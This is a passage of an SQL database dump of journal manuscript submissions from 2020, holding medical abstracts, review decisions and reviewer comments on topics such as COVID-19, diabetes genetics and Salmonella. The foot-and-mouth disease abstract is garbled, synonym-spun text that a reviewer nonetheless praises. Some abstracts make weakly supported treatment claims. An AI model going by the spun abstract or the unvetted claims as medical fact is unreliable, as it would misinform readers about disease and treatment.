of the respondents washed their hand with soap and water and recommended that public needs to be continuously encouraged to engage in proper hand washing practices\r\n','Key words: Hand washing, (COVID-19), Practice',685,NULL,'2020-05-23',NULL,'Submitted',2,NULL,'2020-06-10',NULL,1,1,'1','Accepted',0,'','',NULL,0,0,0,NULL,0),(4241,5456,73,0,'ipjnn-20-4241','ANALYSIS OF MYELOMALACIA AND POSTERIOR LONGITUDINAL LIGAMENT OSSIFICATION AS PROGNOSTIC FACTORS IN PATIENTS WITH SPONDYLOTIC CERVICAL MYELOPATHY SUBMITTED TO LAMINOPLASTY',NULL,14,0,NULL,'Spondylotic cervical myelopathy is a degenerative disease of the intervertebral disc and vertebral body of the spine that causes cervical spinal cord injury due to central vertebral canal stenosis. Its prevalence is higher in the elderly. Treatment is usually surgical when the spinal cord is affected either clinically with pyramidal release or radiologically with the altered spinal cord.With this study we aimed toanalyzemyelomalacia and ossification of posterior longitudinal ligament as prognostic factors in the postoperative evolution of patients with cervical canal compression who underwent laminoplasty by Open-door or French-door techniques. Methods and Findings: We performed a retrospective analysis of 18 surgical cases of spondylotic cervical myelopathy of the same senior neurosurgeon, using the chi-square test to analyze prognostic factors for patients’ postoperative evolution in the Nurick scale, after Open-door orFrench-door laminoplasty. The comparison between pre and postoperative showed an improvement of 71.43% of cases that did not have ligament ossification compared to 45.45% of cases that presented posterior longitudinal ligament ossification. Also, there was a better prognosis in patients without myelomalacia, as71.43% of them improved their condition against only 45.45% improvement in those with myelomalacia. Conclusion: Posterior longitudinal ligament ossification and the presence of myelomalacia may be considered aggravating factors in surgical procedures, especially in patients with high preoperative Nurick classification. Although there was no significant expression in the statistical analysis, if there were a larger number of cases, the tendency could be to reveal a worse prognosis for individuals who preoperatively hadboth characteristics analyzed.Therefore, there is a need for studies with larger samples to expressively prove that the presence of longitudinal ligament ossification and the previous presence of myelomalacia are factors of worse prognosis in the postoperative evolution of patients submitted to laminoplasty.','Spondylotic, cervical myelopathy',326,NULL,'2020-05-23',NULL,'Submitted',2,NULL,'2020-07-28',NULL,1,1,'0','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(4248,5463,45,0,'iphsj-20-4248','The effect of peer education on self-care behaviors of chemotherapy in patients under chemotherapy and treatment referred to Imam Khomeini Educational and Medical Hospital in Urmia in 2019: clinical trial study',NULL,14,2,NULL,'Background: cancer is the second leading cause of death after heart disease.\r\nObjectives:: This study was conducted to determine the effect of peer education on self-care behavior on the effects of chemotherapy in patients undergoing chemotherapy.\r\nMethods: This research is a clinical trial. Sixty cancer patients were randomly assigned to the two control groups. In addition to routine training, the intervention group members were provided with self-care training in the field of chemotherapy and side effects. The control group received only common training, ie training by a doctor and a hospital nurse, and so on. The data collection tool was a demographic information questionnaire and a questionnaire on the effectiveness of self-care behavior in patients undergoing chemotherapy and chemotherapy. Data were collected at the beginning of the study and after the completion of the first course of chemotherapy. Finally, the data were analyzed by SPSS software version 19.\r\nResults: In the pre-test phase, the independent t-test did not show a significant difference in on self-care behavior behavior from chemotherapy and treatment complications between the two groups (p <0.05). However, in the post-experimental phase, there was a significant difference in the effectiveness score of self-care behavior in chemotherapy-therapeutic effects between the two groups of test and control (0.05 p <). Also, the T-pair test showed a significant difference between the pre- and post-intervention stage in the test group (0.05 p <).\r\nConclusion: Peer education promotes on self-care behaviors, so the use of peer education for cancer patients under chemotherapy is recommended along with other educational methods.\r\n\r\n','education. Self-care. Cancer. Iran',643,NULL,'2020-05-23',NULL,'Submitted',2,NULL,'2022-11-03',NULL,1,1,'1','Accepted',0,'','',NULL,0,0,0,NULL,0),(4250,5465,277,0,NULL,'A Comparative Study of Hydroxychloroquine and Add on Lopinavir-Ritonavir Therapy in Symptomatic COVID-19 Patients',NULL,14,0,NULL,'Purpose: The present study was undertaken to evaluate different management protocols in terms of time duration for seroconversion, hospital stay and severity of COVID-19 infection in COVID-19 patients.\r\nMaterials and methods: An attempt was made to appreciate efficacy and safety of defined management protocol so designed according to molecular pathogenic mechanism of SARS-CoV-2 (Severe Acute Respiratory Syndrome due to Coronavirus 2) in two segregated 104 symptomatic COVID-19 positive admitted patients. Patients managed with Hydroxychloroquine along with standard of care belong to Group 1 while patients treated with combination protocol of Hydroxychloroquine, Lopinavir-Ritonavir along with standard of care put in Group 2. Both management protocols were assessed through variables of time duration for seroconversion, severity of disease process and hospital stay. The antecedent inflammatory parameters of C-reactive proteins (CRP), D-dimer, neutrophil/lymphocyte ratio were assayed and comparative evaluation of both management protocols was done.\r\nResults: A total of 104 patients were divided into two respective groups of management protocol with 52 patients in each group. In the study population, most of the patients were young adults with mean age of 45.41 (95% CI 45.41 ±4.04) year in Group 1 and 50.8 (95% CI 50.8 ±4.213) years in Group 2. There was a male preponderance with average female to male sex ratio being 0.52 and 0.67 in Group 1 and Group 2, respectively. Mean values of selected inflammatory parameters in serum in Group 1 and Group 2 were observed to be: D-dimer 2.03µg/mL and 3.01µg/mL, C-reactive protein 5.2 mg/L and 5.36 mg/L, neutrophil/lymphocyte ratio 2.47 and 2.78 respectively. The mean time duration for seroconversion of COVID-19 patients in Group 1 and Group 2 was 9.92 days and 7.42 days with 95% CI of 3.54 and 1.45, respectively and P-value of less than 0.0001 (P < 0.0001). Only 15% patients in the group on HCQ and LPRV took more than 10 days for seroconversion while 34.60% patients in group on HCQ alone took more than 10 days for seroconversion. Mean time of hospital stay for groups 1 and 2 were found to be 10.44 days and 8.59 days respectively. 77% patients got discharged from hospital within 10 days in group treated with HCQ and LPRV as compared to that of 60% in those treated with HCQ alone with P-value of 0.0014 (P = 0.0014).\r\nConclusion: The spectrum of COVID-19 had variable output from different treatment regimens. Patients who were treated with combination regimen of HCQ and LPV/r (group 2) took less time in achieving negative seroconversion and were discharged early from hospital as compared to those treated with HCQ alone (group1).','Hydroxychloroquine, Lopinavir-ritonavir, COVID-19, D-dimer',2793,NULL,'2020-05-23',NULL,'Submitted',4,NULL,'2020-06-01',NULL,1,0,'1',NULL,0,NULL,NULL,2,0,0,0,NULL,0),(4251,5467,326,0,'IPJUS-20-4251','Face lifting by suspension sutures ',NULL,11,0,NULL,'Classic Face lifting procedure used to be done by an open method with a long scar from the temporal area to the retroauricular area . In our suspension sutures we can lift the smas via cutaneous puncture and doing our suspension to lift the smas getting the same result in patients of mid age groups . the aim of our procedure is to avoid the wound , its complications and less postoperative down time .','',2505,NULL,'2020-05-24',NULL,'Submitted',2,NULL,'2020-07-31',NULL,1,1,'0','Accept this manuscript',0,'','',NULL,0,0,0,NULL,0),(4253,5470,45,0,'iphsj-20-4253','Exponential Growth Impact of COVID-19 Pandemic-World Scenario, Preventive Measures and Drug Preferences ',NULL,7,0,NULL,'World Health Organization (WHO) has announced the COVID-19 outbreak as a global public health emergency and pandemic, spreading fast with an increasing number of infected patients worldwide. Almost 210 countries and territories are severely affected by the deadly disease caused by a new coronavirus (SARS-CoV-2) and still it is uncontrollable. The detailed mechanism of the virus remains unknown, and specific drugs have not been developed. According to the current published evidence, we precisely summarize the disease, characteristics of the virus, current world scenario, available treatment options and preventive measures to be taken against COVID-19. A case study was conducted to provide the dangerous picture of exponential growth of infected people around the world to inculcate the awareness of maintaining social distancing and hand hygiene. This effort is made in view of providing awareness to the public effectively to understand and deal with the novel coronavirus situation worldwide. It is also anticipated to provide a reference to future advances in medical anti-virus related studies.\r\n\r\n','SARS-CoV-2; COVID-19; coronavirus; vaccine; pandemic; exponential growth.',3300,NULL,'2020-05-24',NULL,'Submitted',16,NULL,'2021-04-27',NULL,1,1,'0','Accepted',0,'','',NULL,0,0,0,NULL,0),(4263,5479,975,0,'ipjbs-20-4263','Front microrheology of blood: relation between viscosity and red blood cells biomechanical properties ',NULL,14,0,NULL,'Front Microrheology is a technique developed to track the velocity of the fluid-air interface inside a microfluidics channel and determine the viscosity of the fluid.  We use this technique to study the rheological properties of blood. These properties of blood depend highly on the properties of its red blood cells concentration, membrane elasticity and aggregation. These properties affect the viscosity of blood, as well as its shear thinning behavior. Using front microrheology technique, we determine the viscosity of different samples of blood. We propose a model able to predict the health conditions of blood samples by introducing a specific coefficient taking into account the hematocrit and the biomechanical properties of the red blood cells. We present a method that successfully normalizes the viscosity of blood, according to the concentration of erythrocytes and their biomechanical properties, such as, bending elasticity and aggregatio','biomechanical properties,Microrheology',3460,NULL,'2020-05-25',NULL,'Submitted',2,NULL,'2020-06-11',NULL,1,1,'0','can proceed for the publication',0,'2592','smruthi_r@meetingsint.co.in',NULL,0,0,0,NULL,0),(4272,5488,45,0,'iphsj-20-4272','Evaluation of Clinical and biochemical characteristics and Genetic Association Between the Polymorphic loci in Diabetic mellitus 2 patients in Urmia ',NULL,14,2,NULL,'Background: Predisposing factors of type 2 diabetes are multi-factorial and factors such as genetics and the environment are involved in its outbreak. The aim of the current study was to analyze the genetic relationships between ATF6rs2070150: G> C and FTOrs8050136: A> C gene variants with clinical and biochemical parameters belong to  the patients of type 2 diabetes in Imam Khomeini Hospital of Urmia. \r\nMethods: The present study is a case-control study. 100 patient\'s blood samples along with 100 healthy control samples for ATF6rs2070150: G> C and FTOrs8050136: A> C variants were tested using Tetra-arms PCR method. \r\n\r\nResults:. Although the frequency of genotypes were comparable between patients and healthy control subjects, the logistic regression analysis showed no significant relationship between FTO rs8050136 A allele and ATF6rs2070150 C allele with an increased risk of type 2 diabetes. Also,the A allele from FTO and C allele from ATF6 were significantly associated with increased levels of HbA1c, insulin, HOMA-IR, diastolic blood pressure and obesity markers (BMI, waist and hip circumference). In the present study, there was a significant relationship between FTO rs8050136 A> C and ATF6rs2070150: G>C with main markers of type 2 diabetes such as insulin resistance, obesity and inflammation. \r\nConclusions: These findings can provide new opportunities for the prevention, diagnosis and customization of type 2 diabetes in the future. In particular, the prevention of obesity in some dangerous genetic subgroups may be a valuable contribution to the prevention of type 2 diabetes.\r\n\r\n\r\n','Type 2 Diabetes, FTO rs8050136, ATF6rs2070150, Urmia',685,NULL,'2020-05-25',NULL,'Submitted',19,NULL,'2020-07-23',NULL,1,1,'1','Accepted',0,'','',NULL,0,4,0,NULL,0),(4280,5469,251,0,'ipacm-20-4280','Foot-and-Mouth disease in cattle',NULL,3,0,NULL,'Foot-and-mouth defilement (FMD) is an altogether compelling affliction of cloven-hoofed creatures including cows, pigs, sheep, and different untamed life species. It can cause colossal monetary difficulties when interruptions happen intonations which are ordinarily sullying free. Furthermore, it has extended length impacts inside nations where the suffering is endemic because of decreased creature viability and the obstacles across the board exchange creature things. The illness is acknowledged by soiling with foot-and-mouth suffering tainting (FMDV), a picornavirus. Seven indisputable serotypes (and various assortments) of FMDV have been perceived. Some serotypes have confined land transport, for example Asia-1, while others, broadly serotype O, happen in various regions. There is no cross-assurance among serotypes and to incredible degree security presented by antibodies even of the indistinguishable serotype can be restricted. In this way it is essential to portray the illnesses that are spilling if inoculation is being utilized for affliction control. This audit delineates the current methodologies for the divulgence and portrayal of FMDVs. Get-together data is sensibly being utilized for seeing the wellspring of scenes. What\'s even more such data can be utilized to get a handle on antigenic change inside sickness strains. The difficulties and open gateways for improving the control of the disorder inside endemic settings, with thoughts on Eurasia, are investigated, including the action of the FAO/EuFMD/OIE Progressive Control Pathway. Better control of the pollution in endemic areas reduces the hazard of interruptions into burden-free regions.','Foot-and-mouth defilement (FMD)\r\nFoot-and-mouth defilement virus (FMDV)',778,NULL,'2020-05-25',NULL,'Submitted',2,NULL,'2020-07-28',NULL,1,1,'0','Foot and mouth is a very serious virus that causes various diseases in animals. This mainly affects cattles, and few more animals. The commengary article is very well written with relevant images which are adding weigtage to the provied content. Publish the manuscript without any changes.',0,NULL,NULL,NULL,0,0,0,NULL,0),(4313,5530,45,0,'iphsj-20-4313','ISOLATION AND MOLECULAR IDENTIFICATION OF DIFFERENT SALMONELLA SEROVARS DISTRIBUTED IN BENUE STATE, NIGERIA',NULL,14,2,NULL,'Isolation and molecular characterization of Salmonella serovars in Benue State was undertaken. Conventional cultural characterization and biochemical results showed that eighteen (18) positive samples of Salmonella species were obtained out of the four hundred and twenty (420) samples collected from Patients across the three (3) senatorial districts sampled.   The organisms possessed characteristic pinkish colonies and black dots at the center on the XLD agar and whitish-green colonies on BGA. The API tests result showed the difference in the utilization of various substrates that distinguished between Salmonella species and other members of Enterobacteriaceae.  Four (4) distinct serovars of S.enterica and one from S.bongori, totaling eight different groups of Salmonella were observed. S.enterica Typhimurium was the highest with 6 (33.33%) and prevalence of 1.43% followed by S.enterica  Enteritidis with 4 (22.22%) and prevalence of 0.95%. Other serovars had <0.5% prevalence. S.entericaTyphi and S.enterica Heidelberg had 2 cases each while the remaining four (S.enterica Agona, S.enterica Paratyphi B, S.enterica Huaian and S.bongori) had a lone case each. Significant association was established between occurrence of Salmonella infection and causative serovars (χ2= 57.93, P<0.05). Molecular characterization results obtained showed that the dendrogram formed 2 main clusters (numbered 36 and 81) with two divergent Salmonella strains. The first sub cluster of main cluster (numbered 57) has four strains isolated from different locations: S.entericaHeidelberg-MG663473.1 from Gboko;  S.entericaTyphimurium-JQ228518.1 from Katsina-Ala;  S.enterica Typhimurium-CP014981 from Makurdi and S.enterica Typhimurium-CP023166.1 from Kwande.  Seventy five percent  (75%) of strains in this group were Typhimurium serovars.  In this group, S.entericaTyphimurium-CP023166.1 sourced from Kwande was a unique strain that showed wider genetic variability but closely related to the check strain (S.bongori strain KU060291.1). The second sub cluster of a main (numbered 98) also consisted of 3 strains all of different serovars of S.enterica and one strain of another species. They are: S.entericaParatyphi B-JQ694526.1; S.enterica Heidelberg-CP019176.1; S.enterica Typhimurium-CP024619.1 and S.bongori-FR877557.1. The latter belongs to the same group with Paratyphi serovar and even closely related with Paratyphi B strain MF772492.1 used as a check.  The second main cluster (numbered 81) comprised 8 strains belonging to 4 Enteritidis, 2 Typhi, 1 Huaian and 1 Typhimurium cutting across all locations except Gboko. Within this group, 4 strains showed wider relationships with other members and they were all of different serovars while Typhimurium strains were either closely clustered to themselves or to the Typhi strain.   S.entericaTyphimurium-MH196335.1 is  divergent  from the source of the main clusters (88) bearing no close relationship with any existing check strain.  The most unique of all the 18 strains identified was the S.enterica serovar Agona strain 392869-2 and is closely related with a known check Enteritidis strain','Salmonella, Serovars, Paratyphi, Heidelberg',388,NULL,'2020-05-26',NULL,'Submitted',19,NULL,'2020-07-23',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,4,0,NULL,0),(4316,5533,45,0,'iphsj-20-4316','Effectiveness of Community Health Workers Program in Utilization of Public Health Services: Evidence from Nepal’s Female Community Health Volunteers Program',NULL,3,0,NULL,'Community Health Workers (CHWs) are culturally skilled members of comprehensive and people-centered primary health care members that enable universal health care. From the “feldshers” of 17th century Russia to the “barefoot Doctor” of Early 20th century in China, lay people with minimal medical training have demonstrated their capacity to bring basic care to underserved region. In the 1960s in India’s Lay workers, 1970s in Latin America’s CHWs and 1980s in Nepal’s female community health volunteers (FCHWs) began producing positive health outcomes and was the best way to improve health in developing countries. ','',685,NULL,'2020-05-26',NULL,'Submitted',2,NULL,'2020-06-10',NULL,1,1,'0','Accepted',0,'','',NULL,0,0,0,NULL,0),(4322,5541,73,0,'ipjnn-20-4322','The Impact of Coronavirus Disease 2019 on Outpatient Neurology',NULL,19,0,NULL,'In December 2019, unexplained cases of pneumonia emerged in Wuhan, China, which were found to be secondary to the novel coronavirus SARS-CoV-2. On March 11, 2020, the WHO declared the Coronavirus Disease 2019 (COVID-2019) outbreak, a pandemic. Neurological complications of COVID-19 are not uncommon. Neurologists are used to uncertainty; they were able to adapt to the rapidly evolving changes while fighting this pandemic. Despite the negative impact of COVID-19 pandemic on nearly all medical specialties and Neurology is no exception, it has served as a catalyst in advancing a tool that has long been struggling to thrive, telemedicine.','',326,NULL,'2020-05-27',NULL,'Submitted',2,NULL,'2020-08-02',NULL,1,1,'0','accept with revision',0,'','',NULL,0,0,0,NULL,0),(4324,5544,45,0,'iphsj-20-4324','PREVALENCE AND RISK FACTORS OF ROTAVIRUS INFECTION IN PAEDIATRIC PATIENTS 0-5 YEARS OF AGE IN KADUNA METROPOLIS, KADUNA STATE, NIGERIA',NULL,14,0,NULL,'ABSTRACT\r\nBackground: Rotavirus infection is responsible for about 215,000 deaths annually in children less than five years of age worldwide and the burden of infection is seen more in developing countries.\r\nThe objective of this study was to determine the prevalence and the associated risk factors of rotavirus infection in diarrheic and non-diarrheic children of 0-5 years of age in Kaduna metropolis, Kaduna State, Nigeria. \r\nMethods: A total of two hundred and eighty-two diarrheic (cases) and non-diarrheic (controls) children were screened for rotavirus infection using commercially available Enzyme Linked Immunosorbent Assay (ELISA) kits between March and August, 2015. A matched case control study was carried out to assess the risk factors associated with rotavirus infection in Kaduna metropolis using structured questionnaires. \r\nResults: An overall prevalence of 40.1% was reported for rotavirus infection in this study. The Prevalent rates of 53.9% and 26.2% were recorded in diarrheic and non-diarrhea children respectively. There was association between rotavirus infection, diarrhea (p = 0.001), sampled hospitals and stool consistency (p < 0.05). However, there was no association with sex, age, diarrhea frequency and previous history of diarrhea (p > 0.05). Bivariate analysis showed that occupation (OR = 0.616; 95% CI = 0.379-1.004), source of household water (OR = 0.982; 95% CI = 0.602-1.600), treatment of water (OR = 0.794; 95% CI = 0.483-1.305), child feeding (OR = 0.809; 95% CI = 0.491-1.334) and attendance of institution (OR = 0.436; 95% CI = 0.267-0.713) were associated with lower risk of rotavirus infection. Factors associated with higher risk of rotavirus infection included presence of animals in household (OR = 1.140; 95% CI = 0.696-1.870) and contact with animals (OR = 1.648; 95% CI = 0.930-2.922).\r\nConclusion: This study revealed a high prevalence of rotavirus infection in diarrheic children. Contrary to previous studies, a relatively high prevalence of rotavirus infection was recorded in non-diarrheic patients. Factors associated with higher risk of rotavirus infection included presence of animals in household and contact with animals. Occupation, source of household water, treatment of water, child feeding and attendance of institution were associated with lower risk of rotavirus infection. Adequate sanitation and hygiene should be considered effective preventive measures pending the integration of rotavirus vaccine into the national immunization programme.  \r\nKeywords: Diarrheic and Non- Diarrheic Children, Prevalence, Risk factors, Rotavirus, Kaduna metropolis. \r\n\r\n','Diarrheic and Non- Diarrheic Children, Prevalence, Risk factors, Rotavirus, Kaduna metropolis. ',685,NULL,'2020-05-27',NULL,'Submitted',16,NULL,'2020-06-27',NULL,1,1,'0','Accepted',0,'','',NULL,0,0,0,NULL,0),(4328,5548,45,0,'iphsj-20-4328','ASSESSMENT OF FEMALE GENITAL MUTILATION AND ITS HEALTH RELATED PROBLEMS IN JIMMA UNIVERSITY MEDICAL CENTER, 2020.',NULL,14,2,NULL,'Background: Female genital mutilation is any surgical modification of the female genitalia, comprising all procedures involving partial or total removal of the external female genitalia or other injury to the female genital organs for cultural or non-therapeutic reasons. Female Genital Mutilation (FGM) involves the removal of some or all of the external female genitalia and is usually performed on children by traditional birth attendant, midwives or an old woman who traditionally performs this practice in the community (traditional circumcisers).\r\nObjective: The objective of this study was to assess the prevalence and health related problems of Female Genital Mutilation.\r\nMethods:  Institution based cross-sectional study was employed from December 01 to 10, 2019. Study was conducted on women of reproductive age visiting Jimma Medical center during study period.  Data was collected by using interview which prepared in English version questionnaire which developed after reviewing related literatures. The collected data was compiled by tally sheet and analyzed manually by using scientific calculator. Descriptive statistics like frequency and percentages was calculated. \r\nResult: The total number of women studied was 350 with a non-response rate of 9.32%. The majority of respondents were Muslim (41.7%), Oromo (48.9%) and literate (64%).Of the total 350 respondents 281 (80.3%) were genitally mutilated while only 50(14.3%) were non-mutilated; the rest 19(5.4%) did not know whether they were mutilated or not. Of the 281 genitally mutilated women, 9(3.2%) were infibulated (FGM type III), 242 (86.1%) had their clitoris partially or completely cut (FGM type I/II, non-infibulated) and the rest 30 (10.7%) could not tell the type of mutilation they had undergone.\r\nConclusion:  About four fifth 80.3%of respondents were genitally mutilated. Of the 281 genitally mutilated women, 242 (86.1%) had their clitoris partially or completely cut (FGM type I/II, non-infibulated) and the rest 30 (10.7%) could not tell the type of mutilation they had undergone','prevalence, health related risk, female genital mutilation',456,NULL,'2020-05-27',NULL,'Submitted',2,NULL,'2022-11-03',NULL,1,1,'1','Accepted',0,'','',NULL,0,0,0,NULL,0),(4337,5561,959,0,'ipacr-20-4337','Early breast cancer detection and screening using thermal  imaging',NULL,14,0,NULL,'Breast cancer is a global public health problem mostly affecting women of different age groups. The global incidence of breast cancer is over one million new cases each year, and that number is expected to increase 20% by 2020. “In 2017, there were 13,000 breast cancer incidences of women in Ethiopia. Out of this, 53% of the patient leads to death.”  This data shows how much series it is. Having inadequate oncology service and cancer center, very small number of breast imaging device and professionals make the problem difficult to control the spread of breast cancer. But when cancer is detected early either initially or as a relapse incident can often treat successfully. Most medical imaging modalities were initially developed with this specific purpose in mind. However, they lack specificity for several reasons and is less than ideal for regular screening of all individual. Moreover, for accessibility and financial reason, most women are not examined more frequently and it create a long gap during which cancer can develop undetected and increase the chance of the women’s mortality.','',3521,NULL,'2020-05-27',NULL,'Submitted',2,NULL,'2020-08-04',NULL,1,1,'0','Accept',0,'923','ashwini_c@euroscicon.co.in',2,0,0,0,NULL,0),(4344,5569,45,0,'iphsj-20-4344','Quality costs assessment in health care services: an approach to improving  research and development processes',NULL,14,0,NULL,'Controls made to hospitals and medical centers in Matanzas province, exhibit limitations in\r\nquantitative measuring of process effectiveness. For this reason the research problem stated\r\nwas: the lack of systematic measurement of effectiveness can no allow proper control and\r\ncontinous improvement of learning, research and care processes. Hence the purpose is to\r\n\r\nstructure a procedure to identify and assess quality costs in healthcare services; this may\r\nprovide a framework to evaluation of quality system effectiveness. This study resulted in\r\nmethodological patterns that, when implementing the procedure, may favor improvement\r\nopportunities in processes directly or indirectly related to quality of care delivery based on\r\neffectiveness and efficiency criteria. The preliminary aplication to academic process in\r\nhealth care organizations complemented the context depicted from a practical perspective.','Costos de Calidad, medición, eficiencia, procedimiento de trabajo,\r\nservicio de salud',643,NULL,'2020-05-27',NULL,'Submitted',2,NULL,'2020-06-10',NULL,1,1,'0','Accepted',0,'2253','nandhini_sk@pulsus.co.in',NULL,0,0,0,NULL,0),(4386,5564,251,0,'ipacm-20-4386','Human Papillomavirus: A gender-based report on the knowledge of college students in Northern Greece ',NULL,14,0,NULL,'Title: This study was performed in order to evaluate the level of basic knowledge of students in Northern Greece regarding human papillomavirus matters, in light of each gender’s aspect. \r\nBackground: In every society it is fundamental that young adults should receive proper education for all Sexual Transmitted Diseases. This study aims on highlighting the necessity of aggressive campaigns, for informing students on HPV. Via a short survey, we performed a key evaluation of the knowledge of students in order to conclude on whether or not campaigns for informing students on HPV should be organized by the state. \r\nMethods and Findings: A questionnaire type of survey was undertaken in order to evaluate the level of basic knowledge of the sample regarding HPV. The questionnaire comprised of 11 questions. The first two questions were to determine specific characteristics of the sample; the third was about the participant’s belief of being well educated on HPV, while the rest of them were to evaluate their actual knowledge of the activity, pathogenesis and the national vaccination program against HPV. Five hundred sixty-one students of Northern Greece participated in the study (398 females and 161 males). Regarding their knowledge on HPV, the majority of the participants declared to be well informed with a rate of 76.1%. Indicatively, it appeared to be an independence regarding gender (p=0.44) about whether or not HPV can cause cancer to both sexes. As to vaccination, 50.7% of the participants, regardless gender, believed that HPV vaccine is effective on men (p=0.34).\r\nConclusion: Students in Northern Greece seemed to be insufficiently informed about the general activity of HPV, pathogenicity and vaccine’s effectiveness (p=0.00001). Similar surveys should be launched in the whole country in order for a proper evaluation to be obtained. The outcome of these studies could be rather beneficial in organizing educational campaigns for students of Greece and, if it is needed, to other countries as well.','HPV, gender, Greece, knowledge, epidemiology, vaccination, cervical cancer',781,NULL,'2020-05-29',NULL,'Submitted',2,NULL,'2020-06-04',NULL,1,1,'0','accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(4387,5384,251,0,'ipacm-20-4387','‘Covid-19 transmission via water: Should we be worried about the faecal droplet–respiratory transmission route?’',NULL,17,0,NULL,'Coronavirus disease 19 (COVID-19) outbreak is the third recognised case of infection of an animal coronavirus to humans in the 21st century with the first two being SARS and MERS. One of the major environmental transmission route for coronavirus is the person-to-person faecal droplet–respiratory transmission route. In order to better evaluate the hazards posed by this exposure pathway, there is the need for more information on the survival and persistence of coronavirus in water and sewage. This review collates information from research on transmission and stability of coronavirus in natural, wastewater and sewage. Factors that can influence virus survival in water include temperature, organic matter, and aerobic microorganisms. Our review reflects that the potential for long-term survival of coronavirus coupled with airborne faecal droplet transmission could be a major health risk in this pandemic. Water or sewage contaminated with coronavirus can become aerosolized exposing a major chunk of populace to infection in spite of quarantine measures being followed.','Covid-19, coronavirus, faecal droplet–respiratory transmission route, waste water, sewage water',781,NULL,'2020-05-29',NULL,'Submitted',2,NULL,'2020-07-15',NULL,1,1,'1','Its good to choose current topic around us. Author with his paper raised query how it is not possible to transmit via water. Recently WHO concluded how transmission happening through air and how it is getting transmitted. Though it is not proven but there are chances to transmitt through water where droplets are the major source of transmission. here by I suggest to publish this paper, as this paper giving new information about this pandemic.',0,NULL,NULL,NULL,0,0,0,NULL,0),(4392,5362,86,0,'ipaom-20-4392','Understanding the reason of why covid19 has less impact on babies',NULL,16,0,NULL,'The question of COVID 19 is complex and quite speculative; future progress in understanding it origine and it reproduction may clarify this question. The fact that COVID-19 origin is a zoonose as found via the phylogenetic study, substantial knowledge gaps remain regarding the transmissibility between human-human hosts. We should include the level of exposure to a confirmed case at which transmission is more likely to occur. We take into consideration the age factor since babies are not very affected by the virus and COVID-19 cases in babies’ remains low. \r\nIn this review we instead focus on the evolution and the origin of CoV19 virus, with special attention to virus recombination. The general concepts of new reassorting variants, host tropism (adult and children) and transmission property are also outlined.','COVID 19, origin, exposure, children, variants.',3386,NULL,'2020-05-31',NULL,'Submitted',2,NULL,'2020-07-07',NULL,1,1,'0','Accept for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(4396,5617,45,0,'iphsj-20-4396','RECENT STUDIES ON URINARY TRACT INFECTIONS IN DIABETES MELLITUS',NULL,15,0,NULL,'Diabetes mellitus (DM) is one of the common endocrine disorder characterised by increased levels of glucose in the blood. DM is an important medical and public health issue world widely. The incidence has been exponentially increased globally. Evidence revealed that diabetics are more prone to infections than non-diabetic patients. UTI is one of the infections that occurs more frequently among DM patients. UTIs are considered as complicated and carry worst outcome when it occurs in DM patients. Many studies concluded that uncontrolled DM is significantly associated with more UTIs. Majorly E.coli followed by Klebsiella pneumoniae are the most common causative agents of UTIs among DM patients and cystitis is the most prevalent type of UTI. Resistance pattern of antibiotics is highly variable but the majority of the pathogens showed resistance against ampicillin, trimethoprim/sulfamethoxazole and cefotaxime while prescribing patterns showed that cephalosporins were the most commonly prescribed antibiotics followed by penicillin. ','Diabetes Mellitus; Urinary Tract Infections; Antibiotic Resistance; Antibiotic Prescribing Patterns',2800,NULL,'2020-06-01',NULL,'Submitted',16,NULL,'2020-07-24',NULL,1,1,'0','Accepted',0,'','',NULL,0,0,0,NULL,0),(4401,5620,959,0,NULL,'Role of NSAIDs in Cancer Prevention and Cancer promotion',NULL,15,0,NULL,'\r\nThe malignancy state is studied with the help of inflammatory reaction of non-steroidal anti-inflammatory drugs and its prevention is studied. The nonsteroidal anti-inflammatory drugs (NSAIDs) are usually given by physicians in many clinical conditions for the symptomatic treatment of pain and fever. They have anti-inflammatory properties, and these drugs have been investigated for their anticancer effects in various studies. This is because chronic inflammation has a wide connection to carcinogenesis. Anti-inflammatory drugs are also used in cancer treatment and prevention. In the past few years, research has been made that NSAIDs may lower the risk of certain types of cancer. However, there is also research that proves the contrary. NSAIDs are also known for many side effects, including some life-threatening ones.\r\nThe use of NSAIDs which includes the risk of gastric cancer and aspirin has a relation between themselves which has not been well studied. This review has been performed in a systematic way and used the analysis of published information to know the association between use of this class of drugs and the risk of gastric cancer. This review will give the relation between the role of NSAIDs in cancer prevention and cancer promotion and chronic inflammation.\r\n','',3216,NULL,'2020-06-01',NULL,'Submitted',4,NULL,'2020-06-11',NULL,1,0,'1',NULL,0,'605','swapna_bu@omicsgroup.co.in',2,0,0,0,NULL,0),(4437,5650,45,0,'iphsj-20-4437','Efficacy of topical application of plant extract based natural oils in management of polycystic ovarian syndrome: a two-arm parallel group randomised double-blind placebo-controlled clinical study',NULL,14,0,NULL,'Background: Literature indicates current treatments of PCOS are designed to manage individual symptoms and not the syndrome itself. Pharmacological treatments may have side effects in long-term. Whereas, the studies to measure effectiveness of complementary and alternative medicine (CAM) are done on rat models. Thus, there are also no human clinical trials to establish CAM efficacy to manage PCOS.\r\n\r\nObjective: This study objective is to scientifically establish the clinical efficacy of topical application of 100% plant extract based natural oil-blend on PCOS management by addressing the subjective (viz., irregular menstruation, menstrual cycle duration, bleeding quantity, pain during menses) and objective (viz., hirsutism, ovarian volume, number of follicular cysts, number of mature follicles) PCOS symptoms. \r\n\r\nMethod: In a two-arm parallel group, prospective, randomized, double-blind, placebo-controlled study with adult female participants diagnosed with PCOS and fulfilling inclusion criteria; 100 participants were allocated between two study arms (test and placebo) in the ratio of 1:1 using a randomisation list. \r\n\r\nFindings: After treatment, compared to placebo, test group showed significant decrease (p<0.01) in the average composite score for subjective symptoms. Test oil resulted in significant decrease in hirsutism, in ovarian volume in both right and left ovaries, and in number of follicular cysts on both the ovaries. Mature follicles in test group increased resulting in 17 incidences of conception out of 46 after 6 months post-study follow-up. No adverse events were reported.\r\n\r\nConclusion: The test oil-blend effectively managed eight studied symptoms of PCOS rather than working on isolated symptoms of PCOS.\r\n\r\n','Polycystic ovarian syndrome; natural oil-blend; topical application; mensuration-related symptoms; mature follicles; ovarian volume\r\n\r\n',3202,NULL,'2020-06-01',NULL,'Submitted',2,NULL,'2020-06-24',NULL,1,1,'1','Accepted',0,'987','sneha_m@omicsgroup.co.in',NULL,0,0,0,NULL,0),(4438,5651,45,0,'iphsj-20-4438',' Polycystic ovaries',NULL,2,0,NULL,'Polycystic ovaries\r\nPCOS is a pathological syndrome that involves injury to a number of 